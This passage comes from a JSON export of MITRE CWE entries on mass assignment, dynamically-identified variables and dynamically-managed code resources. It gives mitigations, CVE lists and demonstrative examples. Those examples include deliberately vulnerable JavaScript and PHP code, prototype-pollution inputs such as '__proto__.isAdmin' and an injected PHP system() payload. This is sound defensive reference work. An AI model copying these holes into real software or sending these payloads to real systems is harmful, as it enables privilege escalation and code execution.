"Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-12-10", "Modification_Version": "4.3", "Modification_ReleaseDate": "2020-12-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-07-20", "Modification_Version": "4.5", "Modification_ReleaseDate": "2021-07-20", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-06-28", "Modification_Version": "4.8", "Modification_ReleaseDate": "2022-06-28", "Modification_Comment": "updated Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Background_Details, Common_Consequences, Description, Name, References"}], "Contribution": {"@Type": "Feedback", "Contribution_Name": "Dan Amodio, Dave Wichers", "Contribution_Organization": "Aspect Security", "Contribution_Date": "2013-02-15", "Contribution_Version": "2.4", "Contribution_ReleaseDate": "2013-02-21", "Contribution_Comment": "Suggested adding this weakness and provided references."}, "Previous_Entry_Name": {"@Date": "2026-10-28", "#text": "Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')"}}, "entry_type": "Weakness", "ranking": 174.0}, {"@ID": "915", "@Name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "913", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "PeerOf", "@CWE_ID": "502", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Name": "Ruby", "@Prevalence": "Undetermined"}, {"@Name": "ASP.NET", "@Prevalence": "Undetermined"}, {"@Name": "PHP", "@Prevalence": "Undetermined"}, {"@Name": "Python", "@Prevalence": "Undetermined"}, {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}], "Technology": {"@Class": "Not Technology-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": [{"Term": "Mass Assignment", "Description": "\"Mass assignment\" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes."}, {"Term": "AutoBinding", "Description": "The \"Autobinding\" term is used in frameworks such as Spring MVC and ASP.NET MVC."}, {"Term": "PHP Object Injection", "Description": "Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502."}]}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation", "Note": "If an object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability."}]}, "Common_Consequences": {"Consequence": [{"Scope": "Integrity", "Impact": "Modify Application Data", "Note": "An attacker could modify sensitive data or program variables."}, {"Scope": "Integrity", "Impact": "Execute Unauthorized Code or Commands"}, {"Scope": ["Other", "Integrity"], "Impact": ["Varies by Context", "Alter Execution Logic"]}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.", "For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment."]}, {"Phase": ["Architecture and Design", "Implementation"], "Description": ["If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified."]}, {"Phase": "Implementation", "Strategy": "Input Validation", "Description": ["For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified."]}, {"Phase": ["Implementation", "Architecture and Design"], "Strategy": "Refactoring", "Description": ["Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": {"@Demonstrative_Example_ID": "DX-206", "Intro_Text": "This function sets object attributes based on a dot-separated path.", "Example_Code": [{"@Nature": "Bad", "@Language": "JavaScript", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "objectToModify[attr] = {};\n\t\t }"}, "#text": "if (typeof objectToModify[attr] !== 'object') {\n\t\t \n\t\t objectToModify = objectToModify[attr];\n\t\t }"}, "#text": "const pathArray = path.split(\".\");\n\t\t const attributeToSet = pathArray.pop();\n\t\t let objectToModify = object;\n\t\t for (const attr of pathArray) {\n\t\t \n\t\t objectToModify[attributeToSet] = value;\n\t\t return object;\n\t\t }"}, "#text": "function setValueByPath (object, path, value) {"}, "#text_blocks": ["function setValueByPath (object, path, value) {", "const pathArray = path.split(\".\");", "const attributeToSet = pathArray.pop();", "let objectToModify = object;", "for (const attr of pathArray) {", "if (typeof objectToModify[attr] !== 'object') {", "objectToModify[attr] = {};", "}", "objectToModify = objectToModify[attr];", "}", "objectToModify[attributeToSet] = value;", "return object;", "}"]}, {"@Nature": "Bad", "@Language": "JavaScript", "xhtml:div": {"xhtml:br": [null, null], "#text": "setValueByPath({}, \"__proto__.isAdmin\", true)\n\t\t setValueByPath({}, \"constructor.prototype.isAdmin\", true)"}, "#text_blocks": ["setValueByPath({}, \"__proto__.isAdmin\", true)", "setValueByPath({}, \"constructor.prototype.isAdmin\", true)"]}, {"@Nature": "Good", "@Language": "JavaScript", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:i": "// Ignore attributes which resolve to object prototype", "xhtml:br": [null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null], "#text": "continue;\n\t\t       }"}, {"@style": "margin-left:1em;", "xhtml:br": [null, null], "#text": "objectToModify[attr] = {};\n\t\t       }"}], "#text": "if (attr === \"__proto__\" || attr === \"constructor\" || attr === \"prototype\") {\n\t\t     \n\t\t     if (typeof objectToModify[attr] !== \"object\") {\n\t\t     \n\t\t     objectToModify = objectToModify[attr];\n\t\t     }"}, "#text": "const pathArray = path.split(\".\");\n\t\t   const attributeToSet = pathArray.pop();\n\t\t   let objectToModify = object;\n\t\t   for (const attr of pathArray) {\n\t\t   \n\t\t   objectToModify[attributeToSet] = value;\n\t\t   return object;\n\t\t   }"}, "#text": "function setValueByPath (object, path, value) {"}, "#text_blocks": ["function setValueByPath (object, path, value) {", "const pathArray = path.split(\".\");", "const attributeToSet = pathArray.pop();", "let objectToModify = object;", "for (const attr of pathArray) {", "// Ignore attributes which resolve to object prototype", "if (attr === \"__proto__\" || attr === \"constructor\" || attr === \"prototype\") {", "continue;", "}", "if (typeof objectToModify[attr] !== \"object\") {", "objectToModify[attr] = {};", "}", "objectToModify = objectToModify[attr];", "}", "objectToModify[attributeToSet] = value;", "return object;", "}"]}], "Body_Text": ["This function does not check if the attribute resolves to the object prototype. These codes can be used to add \"isAdmin: true\" to the object prototype.", "By using a denylist of dangerous attributes, this weakness can be eliminated."]}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2024-3283", "Description": "Application for using LLMs allows modification of a sensitive variable using mass assignment.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-3283"}, {"Reference": "CVE-2012-2054", "Description": "Mass assignment allows modification of arbitrary attributes using modified URL.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-2054"}, {"Reference": "CVE-2012-2055", "Description": "Source version control product allows modification of trusted key using mass assignment.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-2055"}, {"Reference": "CVE-2008-7310", "Description": "Attackers can bypass payment step in e-commerce product.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-7310"}, {"Reference": "CVE-2013-1465", "Description": "Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.", "Link": "https://www.cve.org/CVERecord?id=CVE-2013-1465"}, {"Reference": "CVE-2012-3527", "Description": "Use of PHP unserialize function on untrusted input in content management system might allow code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-3527"}, {"Reference": "CVE-2012-0911", "Description": "PHP-based content management system written in PHP uses unserialize function on untrusted input to generate arbitrary objects, possibly allowing code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-0911"}, {"Reference": "CVE-2011-4962", "Description": "Content management system written in PHP allows code execution through page comments.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-4962"}, {"Reference": "CVE-2009-4137", "Description": "Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-4137"}, {"Reference": "CVE-2007-5741", "Description": "Content management system written in Python interprets untrusted data as pickles, allowing code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-5741"}, {"Reference": "CVE-2011-2520", "Description": "Python script allows local users to execute code via pickled data.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-2520"}, {"Reference": "CVE-2005-2875", "Description": "Python script allows remote attackers to execute arbitrary code using pickled objects.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2875"}, {"Reference": "CVE-2013-0277", "Description": "Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2013-0277"}, {"Reference": "CVE-2011-2894", "Description": "Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2011-2894"}, {"Reference": "CVE-2012-1833", "Description": "Grails allows binding of arbitrary parameters to modify arbitrary object properties.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-1833"}, {"Reference": "CVE-2010-3258", "Description": "Incorrect deserialization in web browser allows escaping the sandbox.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-3258"}, {"Reference": "CVE-2008-1013", "Description": "Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1013"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-885"}, {"@External_Reference_ID": "REF-886"}, {"@External_Reference_ID": "REF-887"}, {"@External_Reference_ID": "REF-888"}, {"@External_Reference_ID": "REF-889"}, {"@External_Reference_ID": "REF-890"}, {"@External_Reference_ID": "REF-891"}, {"@External_Reference_ID": "REF-892"}, {"@External_Reference_ID": "REF-893"}, {"@External_Reference_ID": "REF-894"}, {"@External_Reference_ID": "REF-464"}, {"@External_Reference_ID": "REF-466"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Maintenance", "#text": "The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-01-26", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-07-17", "Modification_Version": "2.5", "Modification_ReleaseDate": "2013-07-17", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Alternate_Terms, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-12-10", "Modification_Version": "4.3", "Modification_ReleaseDate": "2020-12-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-07-16", "Modification_Version": "4.15", "Modification_ReleaseDate": "2024-07-16", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Description, Modes_of_Introduction, Observed_Examples"}], "Contribution": {"@Type": "Feedback", "Contribution_Name": "Dan Amodio, Dave Wichers", "Contribution_Organization": "Aspect Security", "Contribution_Date": "2013-01-26", "Contribution_Version": "2.4", "Contribution_ReleaseDate": "2013-02-21", "Contribution_Comment": "Suggested adding mass assignment, provided references, and clarified relationship with AutoBinding."}}, "entry_type": "Weakness", "ranking": 260.0}, {"@ID": "914", "@Name": "Improper Control of Dynamically-Identified Variables", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product does not properly restrict reading from or writing to dynamically-identified variables.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "99", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "913", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, {"@Class": "Interpreted", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications."}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "The dynamic identification of variables can be a\n\t      powerful, time-saving technique for developers. This\n\t      practice can reduce maintenance costs because new code\n\t      would not need to be written for each variable that is\n\t      managed."}}, "Common_Consequences": {"Consequence": [{"Scope": "Integrity", "Impact": "Modify Application Data", "Note": "An attacker could modify sensitive data or critical program variables."}, {"Scope": "Integrity", "Impact": "Execute Unauthorized Code or Commands"}, {"Scope": ["Other", "Integrity"], "Impact": ["Varies by Context", "Alter Execution Logic"]}]}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Strategy": "Input Validation", "Description": ["For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified."]}, {"Phase": ["Implementation", "Architecture and Design"], "Strategy": "Refactoring", "Description": ["Refactor the code so that internal program variables do not need to be dynamically identified."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": {"@Demonstrative_Example_ID": "DX-107", "Intro_Text": "This code uses the credentials sent in a POST request to login a user.", "Example_Code": {"@Nature": "Bad", "@Language": "PHP", "xhtml:div": {"xhtml:i": "//Log user in, and set $isAdmin to true if user is an administrator", "xhtml:br": [null, null, null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "$isAdmin = true;"}, "#text": "$query = buildQuery($user,$pass);mysql_query($query);if(getUserRole($user) == \"Admin\"){}"}, "#text": "function login($user,$pass){}\n                     $isAdmin = false;extract($_POST);login(mysql_real_escape_string($user),mysql_real_escape_string($pass));"}, "#text_blocks": ["//Log user in, and set $isAdmin to true if user is an administrator", "function login($user,$pass){", "$query = buildQuery($user,$pass);", "mysql_query($query);", "if(getUserRole($user) == \"Admin\"){", "$isAdmin = true;", "}", "}", "$isAdmin = false;", "extract($_POST);", "login(mysql_real_escape_string($user),mysql_real_escape_string($pass));"]}, "Body_Text": "The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value \"isAdmin\" equal to \"true\", thus gaining Admin privileges."}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2006-7135", "Description": "extract issue enables file inclusion", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-7135"}, {"Reference": "CVE-2006-7079", "Description": "Chain: extract used for register_globals compatibility layer, enables path traversal (CWE-22)", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-7079"}, {"Reference": "CVE-2007-0649", "Description": "extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-0649"}, {"Reference": "CVE-2006-6661", "Description": "extract() enables static code injection", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6661"}, {"Reference": "CVE-2006-2828", "Description": "import_request_variables() buried in include files makes post-disclosure analysis confusing", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-2828"}, {"Reference": "CVE-2009-0422", "Description": "Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0422"}, {"Reference": "CVE-2007-2431", "Description": "Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-2431"}, {"Reference": "CVE-2006-4904", "Description": "Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4904"}, {"Reference": "CVE-2006-4019", "Description": "Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4019"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-01-26", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-01-19", "Modification_Version": "2.10", "Modification_ReleaseDate": "2017-01-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Description, Modes_of_Introduction"}]}, "entry_type": "Weakness", "ranking": 9.0}, {"@ID": "913", "@Name": "Improper Control of Dynamically-Managed Code Resources", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "664", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, {"@Class": "Interpreted", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": "Many languages offer powerful features\n\t that allow the programmer to dynamically create or modify\n\t existing code, or resources used by code such as variables\n\t and objects. While these features can offer significant\n\t flexibility and reduce development time, they can be\n\t extremely dangerous if attackers can directly influence these\n\t code resources in unexpected ways."}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation"}]}, "Common_Consequences": {"Consequence": [{"Scope": "Integrity", "Impact": "Execute Unauthorized Code or Commands"}, {"Scope": ["Other", "Integrity"], "Impact": ["Varies by Context", "Alter Execution Logic"]}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-13", "Method": "Fuzzing", "Description": "Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Strategy": "Input Validation", "Description": ["For any externally-influenced input, check the input against an allowlist of acceptable values."]}, {"Phase": ["Implementation", "Architecture and Design"], "Strategy": "Refactoring", "Description": ["Refactor the code so that it does not need to be dynamically managed."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-32", "Intro_Text": "This example attempts to write user messages to a message file and allow users to view them.", "Example_Code": [{"@Nature": "Bad", "@Language": "PHP", "xhtml:div": {"xhtml:br": [null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null], "#text": "$name = $_GET[\"name\"];$message = $_GET[\"message\"];$handle = fopen($MessageFile, \"a+\");fwrite($handle, \"<b>$name</b> says '$message'<hr>\\n\");fclose($handle);echo \"Message Saved!<p>\\n\";"}, {"@style": "margin-left:1em;", "#text": "include($MessageFile);"}], "#text": "$MessageFile = \"messages.out\";if ($_GET[\"action\"] == \"NewMessage\") {}else if ($_GET[\"action\"] == \"ViewMessages\") {}"}, "#text_blocks": ["$MessageFile = \"messages.out\";", "if ($_GET[\"action\"] == \"NewMessage\") {", "$name = $_GET[\"name\"];", "$message = $_GET[\"message\"];", "$handle = fopen($MessageFile, \"a+\");", "fwrite($handle, \"<b>$name</b> says '$message'<hr>\\n\");", "fclose($handle);", "echo \"Message Saved!<p>\\n\";", "}", "else if ($_GET[\"action\"] == \"ViewMessages\") {", "include($MessageFile);", "}"]}, {"@Nature": "Attack", "xhtml:div": {"xhtml:br": null, "#text": "name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"}, "#text_blocks": ["name=h4x0r", "message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"]}, {"@Nature": "Attack", "xhtml:div": "<?php system(\"/bin/ls -l\");?>", "#text_blocks": ["<?php system(\"/bin/ls -l\");?>"]}], "Body_Text": ["While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:", "which will decode to the following:", "The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.", "Notice that XSS (CWE-79) is also possible in this situation."]}, {"@Demonstrative_Example_ID": "DX-232", "Intro_Text": "A common reason that programmers use the\n               reflection API is to implement their own command\n               dispatcher. The following example shows a command\n               dispatcher that does not use reflection:", "Example_Code": [{"@Nature": "Good", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "ao = new AddCommand();"}, {"@style": "margin-left:1em;", "#text": "ao = new ModifyCommand();"}, {"@style": "margin-left:1em;", "#text": "throw new UnknownActionError();"}], "#text": "String ctl = request.getParameter(\"ctl\");\n\t\t\t\t  Worker ao = null;\n\t\t\t\t  if (ctl.equals(\"Add\")) {\n\t\t\t\t  \n\t\t\t\t  }\n\t\t\t\t  else if (ctl.equals(\"Modify\")) {\n\t\t\t\t  \n\t\t\t\t  }\n\t\t\t\t  else {\n\t\t\t\t  }\n\t\t\t\t  \n\t\t\t\t  ao.doAction(request);"}, "#text_blocks": ["String ctl = request.getParameter(\"ctl\");", "Worker ao = null;", "if (ctl.equals(\"Add\")) {", "ao = new AddCommand();", "}", "else if (ctl.equals(\"Modify\")) {", "ao = new ModifyCommand();", "}", "else {", "throw new UnknownActionError();", "}", "ao.doAction(request);"]}, {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "String ctl = request.getParameter(\"ctl\");\n\t\t\t\t\tClass cmdClass = Class.forName(ctl + \"Command\");\n\t\t\t\t\tWorker ao = (Worker) cmdClass.newInstance();\n\t\t\t\t\tao.doAction(request);"}, "#text_blocks": ["String ctl = request.getParameter(\"ctl\");", "Class cmdClass = Class.forName(ctl + \"Command\");", "Worker ao = (Worker) 